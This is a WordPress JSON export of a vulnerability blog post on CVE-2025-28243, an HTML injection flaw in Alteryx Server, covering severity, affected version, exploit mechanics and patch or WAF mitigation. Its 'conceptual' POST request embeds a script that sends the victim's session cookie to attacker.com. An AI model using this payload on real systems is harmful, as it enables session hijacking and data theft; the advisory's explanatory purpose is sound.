{"id":59557,"date":"2025-07-22T07:32:40","date_gmt":"2025-07-22T07:32:40","guid":{"rendered":""},"modified":"2025-10-21T05:20:51","modified_gmt":"2025-10-21T11:20:51","slug":"cve-2025-28243-html-injection-vulnerability-in-alteryx-server","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-28243-html-injection-vulnerability-in-alteryx-server\/","title":{"rendered":"<strong>CVE-2025-28243: HTML Injection Vulnerability in Alteryx Server<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the rapidly evolving cyber landscape, new vulnerabilities are discovered regularly. One such vulnerability, identified as CVE-2025-28243, has been discovered in the Alteryx Server v.2023.1.1.460. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46835-high-risk-vulnerability-in-git-gui-allows-unauthorized-file-overwrite\/\"  data-wpil-monitor-id=\"67244\">vulnerability allows<\/a> HTML injection via a custom script to the pages component, leading to potential system compromise or data leakage. Given the widespread use of Alteryx <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49759-sql-injection-vulnerability-in-sql-server-potentially-enabling-privilege-escalation-and-data-leakage\/\"  data-wpil-monitor-id=\"79169\">Server in data<\/a> analytics, this vulnerability has far-reaching implications for organizations that rely on the software for data processing and analytics.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-28243<br \/>\nSeverity: High (8.0 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45346-sql-injection-vulnerability-in-bacula-web-resulting-in-potential-system-compromise\/\"  data-wpil-monitor-id=\"68779\">Potential system<\/a> compromise and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-502538150\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Alteryx Server | v.2023.1.1.460<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8279-critical-input-validation-vulnerability-in-gitlab-language-server\/\"  data-wpil-monitor-id=\"68778\">vulnerability stems from the server&#8217;s inadequate sanitization of user input<\/a> in the pages component. An attacker can craft an HTML script containing malicious code, which when executed, can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54444-unrestricted-file-upload-leading-to-code-injection-in-samsung-electronics-magicinfo-9-server\/\"  data-wpil-monitor-id=\"67243\">lead to HTML injection<\/a>. This can result in <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4855-unauthorized-access-vulnerability-in-support-board-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"70957\">unauthorized access<\/a> to sensitive information or even system compromise. The attacker can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2297-user-profile-manipulation-leading-to-unauthorized-privilege-escalation\/\"  data-wpil-monitor-id=\"90684\">manipulate the HTML content that is displayed to the user<\/a>, steal session cookies, or redirect the user to malicious web pages.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-62256974\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Let&#8217;s illustrate how this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36845-server-side-request-forgery-ssrf-vulnerability-in-eveo-urve-web-manager\/\"  data-wpil-monitor-id=\"70958\">vulnerability might be exploited using a conceptual HTTP POST request<\/a>. This example is purely illustrative and should not be used for malicious purposes.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/pages\/script HTTP\/1.1\nHost: target.example.com\nContent-Type: text\/html\n&lt;html&gt;\n&lt;body&gt;\n&lt;script&gt;\ndocument.location=&#039;http:\/\/attacker.com\/steal.php?cookie=&#039;+document.cookie;\n&lt;\/script&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n<p>In this conceptual example, the attacker crafts an HTML script that redirects the user&#8217;s session cookie to a malicious website. If successful, this exploit could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-41668-critical-file-replacement-leading-to-unauthorized-access\/\"  data-wpil-monitor-id=\"67245\">lead to unauthorized<\/a> access to sensitive information or even system compromise.<br \/>\nPlease note that the mitigation guidance for this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, organizations can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the rapidly evolving cyber landscape, new vulnerabilities are discovered regularly. One such vulnerability, identified as CVE-2025-28243, has been discovered in the Alteryx Server v.2023.1.1.460. This vulnerability allows HTML injection via a custom script to the pages component, leading to potential system compromise or data leakage. Given the widespread use of Alteryx Server in [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-59557","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59557","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=59557"}],"version-history":[{"count":5,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59557\/revisions"}],"predecessor-version":[{"id":83627,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59557\/revisions\/83627"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=59557"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=59557"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=59557"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=59557"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=59557"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=59557"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=59557"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=59557"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=59557"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}